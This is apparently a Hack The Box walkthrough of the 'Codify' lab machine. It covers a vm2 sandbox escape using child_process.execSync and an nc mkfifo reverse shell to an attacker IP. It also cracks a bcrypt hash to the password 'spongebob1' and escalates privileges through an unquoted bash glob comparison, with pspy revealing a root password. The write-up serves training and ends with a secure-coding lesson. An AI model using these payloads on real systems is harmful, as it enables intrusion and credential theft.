Codify - HTB Walkthrough
Room link: https://app.hackthebox.com/machines/Codify
Reconnaissance
Every good engagement starts with a thorough scan. We kick things off with a full Nmap run against the target:
1
nmap -sC -sV -Pn -oA nmap/Codify 10.129.23.61
The results come back clean and telling:
1
2
3
4
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4
80/tcp open http Apache httpd 2.4.52
3000/tcp open http Node.js Express framework
Three open ports. SSH on 22 is standard. Port 80 is running Apache but immediately redirects to http://codify.htb/, and port 3000 is exposing a Node.js Express app. We add the hostname to our hosts file:
1
2
sudo nano /etc/hosts
# Add: 10.129.23.61 codify.htb
Now we can browse to the site properly.
Exploring the Web Application
Navigating to http://codify.htb greets us with a sleek web app called Codify, which bills itself as a Node.js sandbox - a place to write and run JavaScript code directly in the browser without any local setup. 

The Editor page has a code input box and a Run button. The About Us page is where things get really interesting. Buried in the description is this gem: 
“The vm2 library is a widely used and trusted tool for sandboxing JavaScript…”
They’re using vm2 version 3.9.16. A quick trip to Exploit-DB confirms our suspicions:
https://www.exploit-db.com/exploits/51898
EDB-ID: 51898 - vm2 Sandbox Escape, affecting vm2 <= 3.9.19. This is our way in. 
Initial Access - vm2 Sandbox Escape
The exploit abuses how vm2 handles error constructors. By crafting a malicious Proxy object that intercepts the stack trace and gains access to the host process, we can break out of the sandbox entirely.
We paste the exploit into the editor. The key part sets a command variable and uses child_process.execSync to run it on the underlying system:
1
2
3
4
5
6
7
const proxiedErr = new Proxy({}, handler);
throw proxiedErr;
} catch ({ constructor: c }) {
const childProcess = c.constructor('return process')
().mainModule.require('child_process');
childProcess.execSync('${command}');
}
Running cd /home;ls through the editor reveals two home directories:
1
2
joshua
svc
We’re currently running as svc. Time to get a proper shell. We head to a reverse shell generator, set our IP and port 4444, and grab an nc mkfifo payload:
1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -l 2>&1|nc Attacker_IP 4444 >/tmp/f
On our machine, we stand up a listener:
1
rlwrap nc -nlvp 4444
We fire the payload through the editor and get a hit. We’re in as svc. 
Lateral Movement - Cracking Joshua’s Password
With a shell in hand, we poke around the web application’s files:
1
2
3
4
5
6
cd /var/www
ls
# contact editor html
cd contact
ls
# index.js package.json package-lock.json templates tickets.db
A SQLite database. Let’s dump it:
1
cat tickets.db
Scrolling through the binary output, we spot a users table with a bcrypt hash for user joshua:
1
joshua$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2
We pull the hash to our local machine and crack it with hashcat:
1
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt
Hashcat works its magic and the result pops out:
1
$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2:spongebob1
Joshua’s password is spongebob1. We SSH in:
1
ssh joshua@10.129.23.61
We’re in. The user.txt flag is sitting right there in the home directory.
Privilege Escalation - Bash Pattern Matching Bug
Time to see what Joshua can do:
1
sudo -l
Output:
1
2
User joshua may run the following commands on codify:
(root) /opt/scripts/mysql-backup.sh
We can run a MySQL backup script as root. Let’s read it:
1
cat /opt/scripts/mysql-backup.sh
The script reads a password from the user, then checks it against the real root DB password stored in /root/.creds: 
1
2
3
4
5
6
7
8
9
10
11
DB_USER="root"
DB_PASS=$(cat /root/.creds)
read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
if [[ $DB_PASS == $USER_PASS ]]; then
echo "Password confirmed!"
else
echo "Password confirmation failed!"
exit 1
fi
Here’s the critical vulnerability. The comparison [[ $DB_PASS == $USER_PASS ]] does not quote the right-hand side. In bash double-bracket tests, an unquoted right-hand value is treated as a glob pattern, not a literal string. That means if we enter * as the password, it matches anything - including the real password.
1
2
3
sudo /opt/scripts/mysql-backup.sh
# Enter MySQL password for root: *
# Password confirmed!
We’re confirmed. But we still need the actual password. We use pspy to monitor processes in real time. We transfer it to the target:
1
2
3
4
5
6
7
# On our machine (from ~/transfers):
python3 -m http.server 80
# On the target:
wget http://10.10.16.37/pspy64
chmod +x pspy64
./pspy64
In a second tab, we run the backup script again:
1
sudo /opt/scripts/mysql-backup.sh
In the pspy output, we catch the mysqldump command being executed with the password in plaintext: 
1
CMD: UID=0 PID=4985 | /usr/bin/mysqldump --force -u root -h 0.0.0.0 -P 3306 -p<THEPASSWORD> mysql
We now have root’s MySQL password, which also happens to be the system password. We switch user:
1
2
su
# Password: <password from pspy>
We’re root. Navigate to /root and collect the flag:
1
2
cd /root
cat root.txt
Summary
Codify was a satisfying chain of vulnerabilities that required both web exploitation knowledge and Linux privilege escalation fundamentals:
- Enumeration revealed a Node.js sandbox using the vulnerable vm2 library.
- vm2 Sandbox Escape (EDB-51898) gave us RCE as
svc. - Credential Discovery - a bcrypt hash in a local SQLite database cracked to
spongebob1, letting us pivot tojoshua. - Bash Glob Injection - an unquoted variable in a sudo-accessible shell script allowed wildcard matching, and pspy exposed the root password in a live process listing.
The key lesson from the privesc: always quote your variables in bash conditionals. [[ "$DB_PASS" == "$USER_PASS" ]] would have stopped the glob trick cold.















